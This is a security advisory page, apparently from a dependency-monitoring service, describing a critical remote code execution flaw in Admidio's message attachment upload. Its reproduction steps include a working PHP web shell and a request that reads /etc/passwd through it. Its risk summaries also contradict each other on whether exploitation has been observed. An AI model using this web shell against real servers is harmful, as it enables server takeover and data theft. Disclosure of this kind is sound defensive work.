Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-g872-jwwr-vggm

CriticalCVSS 9 / 10
Published Jul 29, 2024·Last modified Jul 29, 2024
Affected Components(0)

No affected components available

Description

Description:

Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact:

An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

  • Execute arbitrary code or commands.
  • Access, modify, or delete sensitive data.
  • Install malicious software or scripts.
  • Gain further access to internal networks.
  • Disrupt services and applications hosted on the server.

Recommendation:

  • Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
  • Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce:

  1. As a member user, go to write an email message.
  2. Upload a PHP file in the Attachment, containing the following content:
<?php
$command = isset($_GET['command']) ? $_GET['command'] : '';
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
echo '<h1>Exploiting RCE</h1>';
echo 'Command: '.$command;
echo '\n<pre>';
echo implode("\n", $output);
echo '</pre>';
?>
  1. Send the email.
  2. In the message history go to the sent message.
  3. Download the file, to get the uploaded file name.
  4. Go to the following URL: {admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd
  5. The server's passwd file would be returned in the response.

Proof Of Concept:

image

Figure 1: Code of messages_send.php, not having file extension verification.

image

Figure 2: Uploading Webshell as attachment.

image

Figure 3: Download the uploaded file to get the uploaded file name.

image

Figure 4: Uploaded File name.

image

Figure 5: RCE via web shell.

image

Figure 6: RCE via Webshell.

Risk Scores
Base Score
9.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.2

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
1.24%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard